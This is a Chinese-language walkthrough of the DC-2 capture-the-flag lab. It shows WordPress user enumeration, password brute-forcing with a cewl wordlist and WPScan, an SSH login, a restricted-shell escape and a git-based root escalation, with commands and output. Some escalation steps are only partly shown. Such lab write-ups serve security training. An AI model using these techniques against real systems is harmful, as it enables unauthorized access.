文章目錄

一，工具介紹

二，測試流程

一，工具介紹

(1)cewl密碼生成器

用途

cewl是一個ruby應用，爬行指定url的指定深度。結果會返回一個單詞列表，這個列進行密碼爆破。
.

原理

爬取網站上的信息，遍歷目錄。生成一些可能的密碼組合。

.
什麼時候用

得到管理員用戶名，嘗試爆破密碼時使用

.

常用選項

-w XXX.txt 寫入到文件

【eg】cewl -w dc2_passwords.txt http://dc-2

(2)WPScan

參考文章
 參考文章

用途

WPScan是一個掃描WordPress漏洞的黑盒子掃描器，可以掃描出wordpress的版本，主題，插件，後臺用戶以及爆破後臺用戶密碼等。

.
常用選項

--update 更新漏洞庫

--url URL掃描指定URL(WordPressCMS)的漏洞

--enumerate u 掃描wordpress用戶

(3)linux提權思路

         1.  sudo -l  查看有SUID的命令
         2. 使用sudo  命令
         3. 利用suid權限的特性提權爲root

二，測試流程

(1)主機發現

nmap掃描

【思路】
    針對掃描出的開放服務（應用程序）的處理思路
	         1. 針對版本搜索相關漏洞
	         2. 針對協議本身

(2)根據80端口的進一步測試

先寫入 192.168.44.133 dc-2 到hosts文件

WordPress是一種使用PHP語言和MySQL數據庫開發的博客平臺,get CMS

【思路】
      ☞ 根據CMS做進一步的操作
          1. 成熟的CMS一般自身不會有漏洞，可以關注其插件的問題
          2. 嘗試得知CMS版本，做進一步的漏洞搜索          
          3. 搜索相關CMS的測試工具

(3)攻擊準備

提示使用cewl工具

使用方法，使用cewl生成密碼

針對cms使用相關的工具
使用wpscan工具

root@kali:~# wpscan --url http://dc-2 --enumerate u
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.3.1
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://dc-2/
[+] Started: Sun Sep 15 11:51:38 2019

Interesting Finding(s):

[+] http://dc-2/
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://dc-2/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://dc-2/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 4.7.10 identified.
 | Detected By: Rss Generator (Passive Detection)
 |  - http://dc-2/index.php/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
 |  - http://dc-2/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
[+] Enumerating Users
 Brute Forcing Author IDs - Time: 00:00:00 <===========================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Detected By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] tom
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] jerry
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] Finished: Sun Sep 15 11:51:40 2019
[+] Requests Done: 20
[+] Memory used: 32.027 MB
[+] Elapsed time: 00:00:01

掃描出了三個用戶

結合cewl工具生成的字典文件進行爆破

root@kali:~# wpscan --url http://dc-2/ -U dc-2_user.txt -P dc2_passwords.txt 
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.3.1
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://dc-2/
[+] Started: Sun Sep 15 12:04:47 2019

Interesting Finding(s):

[+] http://dc-2/
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%


[+] WordPress theme in use: twentyseventeen
 | Location: http://dc-2/wp-content/themes/twentyseventeen/
 | Last Updated: 2019-05-07T00:00:00.000Z
 | Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 2.2
 | Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Detected By: Css Style (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Detected By: Style (Passive Detection)
 |  - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'

[+] Enumerating All Plugins

[i] No plugins Found.

[+] Enumerating Config Backups
 Checking Config Backups - Time: 00:00:00 <============================> (21 / 21) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - jerry / adipiscing                                                                           
[SUCCESS] - tom / parturient                                                                             
Trying admin / next Time: 00:00:30 <=================================> (644 / 644) 100.00% Time: 00:00:30
Trying admin / find Time: 00:00:30 <=================================> (644 / 644) 100.00% Time: 00:00:30
WARNING: Your progress bar is currently at 644 out of 644 and cannot be incremented. In v2.0.0 this will become a ProgressBar::InvalidProgressError.
Trying admin / find Time: 00:00:30 <=================================> (644 / 644) 100.00% Time: 00:00:30
Trying admin / log Time: 00:00:30 <==================================> (644 / 644) 100.00% Time: 00:00:30
WARNING: Your progress bar is currently at 644 out of 644 and cannot be incremented. In v2.0.0 this will become a ProgressBar::InvalidProgressError.
Trying admin / log Time: 00:00:30 <==================================> (644 / 644) 100.00% Time: 00:00:30

[i] Valid Combinations Found:
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

[+] Finished: Sun Sep 15 12:05:19 2019
[+] Requests Done: 699
[+] Memory used: 111.535 MB
[+] Elapsed time: 00:00:32

Username: jerry, Password: adipiscing
Username: tom, Password: parturient

(4)結合掃描出來的服務，嘗試SSH登錄

root@kali:~# ssh [email protected] -p 7744
The authenticity of host '[192.168.44.133]:7744 ([192.168.44.133]:7744)' can't be established.
ECDSA key fingerprint is SHA256:ZbyT03GNDQgEmA5AMiTX2N685NTzZuOoyMDIA+DW1qU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[192.168.44.133]:7744' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Permission denied, please try again.
[email protected]'s password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tom@DC-2:~$ whoami
-rbash: whoami: command not found
tom@DC-2:~$ cd
-rbash: cd: restricted

嘗試爲tom可以登錄
發現爲受限shell（限制了可執行的命令）

【思路】
      SSH後查看是什麼shell
	              這裏發現是受限制的shell -->嘗試繞過

繞過受限shell

用vi的：set shell=/bin/bash

: shell
之後 export -p 查看發現PATH變量可以寫入
export PATH=$PATH:/bin/

【過程】

tom@DC-2:~$ export PATH=$PATH:/bin/
tom@DC-2:~$ export -p
declare -x HOME="/home/tom"
declare -x LANG="en_US.UTF-8"
declare -x LC_MEASUREMENT="zh_CN.UTF-8"
declare -x LC_MONETARY="zh_CN.UTF-8"
declare -x LC_NUMERIC="zh_CN.UTF-8"
declare -x LC_PAPER="zh_CN.UTF-8"
declare -x LC_TIME="zh_CN.UTF-8"
declare -x LOGNAME="tom"
declare -x MAIL="/var/mail/tom"
declare -x OLDPWD
declare -x PATH="/home/tom/usr/bin:/bin/"       ?加入了/bin
declare -x PWD="/home/tom"
declare -x SHELL="/bin/rbash"
declare -x SHLVL="2"
declare -x SSH_CLIENT="192.168.44.128 54410 7744"
declare -x SSH_CONNECTION="192.168.44.128 54410 192.168.44.133 7744"
declare -x SSH_TTY="/dev/pts/0"
declare -x TERM="xterm-256color"
declare -x USER="tom"
declare -x VIM="/usr/share/vim"
declare -x VIMRUNTIME="/usr/share/vim/vim74"

添加了環境變量後可以執行的命令就多了啊！

tom@DC-2:~$ ls
flag3.txt  usr
tom@DC-2:~$ cat flag3.txt 
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
tom@DC-2:~$ su jerry
Password:

切換到jerry用戶

jerry@DC-2:/home/tom$ cd /home/jerry/
jerry@DC-2:~$ ls
flag4.txt
jerry@DC-2:~$ cat flag4.txt 
Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

jerry@DC-2:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash

提示了用git命令使用SUID提權到root

   status     Show the working tree status
   tag        Create, list, delete or verify a tag object signed with GPG

'git help -a' and 'git help -g' lists available subcommands and some
concept guides. See 'git help <command>' or 'git help <concept>'
!/bin/bash
root@DC-2:/home/jerry# cd ~
root@DC-2:~# ls
final-flag.txt
root@DC-2:~# cat final-flag.txt 
 __    __     _ _       _                    _ 
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

root@DC-2:~#

靶機滲透-----DC-2

文章目錄

一，工具介紹

(1)cewl密碼生成器

(2)WPScan

(3)linux提權思路

二，測試流程

(1)主機發現

(2)根據80端口的進一步測試

(3)攻擊準備

(4)結合掃描出來的服務，嘗試SSH登錄

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